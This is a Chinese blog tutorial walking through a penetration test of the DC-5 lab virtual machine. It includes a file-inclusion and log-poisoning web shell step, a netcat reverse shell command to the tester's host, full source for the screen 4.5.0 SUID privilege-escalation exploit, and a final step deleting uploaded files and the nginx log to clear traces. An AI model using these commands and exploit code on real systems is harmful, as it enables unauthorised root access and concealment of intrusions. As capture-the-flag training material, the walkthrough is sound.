DC-5渗透测试教程详解

本文详细介绍了如何进行DC-5的渗透测试,包括测试环境的设置,使用nmap进行扫描,发现并利用文件包含漏洞,通过Burpsuite抓包上传文件,利用蚁剑进行连接和提权,最终找到并利用SUID文件进行系统权限提升,同时讲述了渗透测试后的痕迹清理和编写渗透测试报告的重要性。
摘要由CSDN通过智能技术生成

DC-5渗透测试教程详解

测试机和靶机准备

有需要自取,注意调整DC-5的与kali在同一个为NAT模式下

  • [测试机kali]
    在这里插入图片描述

  • [靶机DC-5]

  • 在这里插入图片描述

信息收集

kali的IP地址为 192.168.10.140
- kali
在这里插入图片描述 - dc-5在这里插入图片描述

使用nmap进行扫描

在这里插入图片描述

  • 打开浏览器登录 192.168.10.134进行访问,确定其是否为目标主机
  • 在这里插入图片描述

漏洞分析

寻找漏洞

在这里插入图片描述

  • 在contact界面提交信息后,发现底部的时间显示会变动,
  • 所以猜测可能存在漏洞。底部的年份显示独立存在的数据,
  • 可能存在于某个文件中,传递给了thankyou.php。
验证猜想,使用御剑对其扫描
  • 发现有可以文件 footer.php
    在这里插入图片描述

  • 对其进行访问,kali火狐,输入链接:192.168.10.136/footer.php,该文件内容恰好】是底部的年份信息

  • 在这里插入图片描述

猜想是否行访问,kali火狐,输入链接:192.168.10.136/footer.php,该文件内容恰好是底部的年份
有可能是通过链接传入的!

验证猜想,构造连接
  • 验证想法,构造链接,访问对比,192.168.10.136/thankyou.php?file=footer.php

在这里插入图片描述

  • 192.168.10.139/thankyou.php?file=
    在这里插入图片描述

  • 如果参数值换成/etc/passwd,那么在底部就会显示DC5的用户信息
    在这里插入图片描述

  • 如果参数值换成nginx日志文件的目录/var/log/nginx/error.log,那么在底部就会显示nginx的日志文件信息。
    在这里插入图片描述

渗透测试

文件包含漏洞:通过日志挂马的方式,想办法将一句话木马写入到靶机的日志文件中

在这里插入图片描述

上传分析

在这里插入图片描述

使用Burp suite抓包,上传

在这里插入图片描述

在这里插入图片描述

  • 验证 http://192.168.10.134/thankyou.php?file=/var/log/nginx/error.log ,查看日志是否上传成功
    在这里插入图片描述
使用蚁剑连接

在这里插入图片描述

  • 测试连接
    在这里插入图片描述
    在这里插入图片描述
  • 输入命令 ——发现没有权限
    在这里插入图片描述
建立反向连接
  • kali建立反向连接
  • 在kali上开启监听,终端输入命令nc –lvvp 1234
  • 蚁剑中执行命令 nc -e /bin/bash 192.168.10.140 1234 。
  • 在蚁剑中执行的命令不要复制,要手动输入。 192.168.10.140是kali的地址。
    在这里插入图片描述

后渗透测试

查看提权文件
  • 在kali上输入python -c ‘import pty;pty.spawn(“/bin/bash”)’
    在这里插入图片描述

  • 找到具有SUID的文件,文件,用来提权。find / -perm -u=s -type f 2>/dev/null
    在这里插入图片描述

查找EXP, 重新打开一个终端,在kali中通过命令searchsploit查看screen-4.5.0的漏洞。

在这里插入图片描述

创建脚本

在这里插入图片描述

  • 复制的脚本没办法直接执行,所以需要将其拆分为多个文件处理。

  • 在kali的root文件夹下新建文件,命名为libhax.c。

  • 将41154.sh脚本中的第一部分内容复制到libhax.c文件 。
    在这里插入图片描述

  • 将脚本中选中内容复制到libhax.c文件中。
    在这里插入图片描述

  • 在libhax.c文件中添加所选中的语句
    在这里插入图片描述

  • libhax.c的内容:(第一个文件内容)

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
  • 将libhax.c文件ctrl s保存,然后打开终端窗口,在终端窗口里执行命令
  • 用来生成动态库文件libhax.so
gcc -fPIC -shared -ldl -o libhax.so libhax.c
  • 在kali的root文件夹下新建文件命名为rootshell.c,用来处理脚本中的第二部分内容
  • 将41154.sh脚本中的选中部分,复制到rootshell.c文件中
    在这里插入图片描述
  • 在rootshell.c文件中,第二行添加语句#include<unistd.h>,在文件的倒数第二行,删掉一个多余的NULL .
  • rootshell.c的文件内容:(第二个文件内容)
#include <stdio.h>
#include <unistd.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh",NULL);
}
  • 保存并退出rootshell.c文件,在kali的终端窗口中,输入命令gcc rootshell.c –o rootshell,用来生成一个可以执行的二进制文件.
gcc -o rootshell rootshell.c
  • 将41154.sh脚本中的最后一部分内容,复制到dc5.sh文件中
  • dc5.sh文件内容:(最后一个文件内容):
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
  • 在终端窗口中,按esc,再按shift + : ,窗口底部应该出现冒号,输入set ff=unix,回车
    在这里插入图片描述
  • 在kali中复制刚刚制作好的三个文件,到Windows中的任意位置。
使用蚁剑上传文件提权
  • 打开蚁剑,找到/tmp目录,右键上传文件

  • 在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 给dc5.sh文件添加可执行权限

chmod +x dc5.sh
  • 执行脚本 ./dc5.sh
    在这里插入图片描述

在这里插入图片描述

拿到flag

在这里插入图片描述

清理痕迹
  • 删除上传的三个提权文件
  • 删除/var/log/nginx/error.log的日志文件

渗透测试报告

  • 使用报告文档交流在渗透测试过程踪做了哪些,如何做,以及最为重要的—客户如何修复你发现的安全漏洞与弱点。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

不懂说安全

创作不易您打赏是对我最大的鼓励

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值